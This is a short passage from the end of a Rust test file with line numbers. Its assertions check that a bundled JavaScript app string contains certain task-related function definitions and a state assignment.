25104 assert!(APP_JS.contains("function nextTaskRequest(id)"));
25105 assert!(APP_JS.contains("function taskShell(id, summary)"));
25106 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25107 }
25108}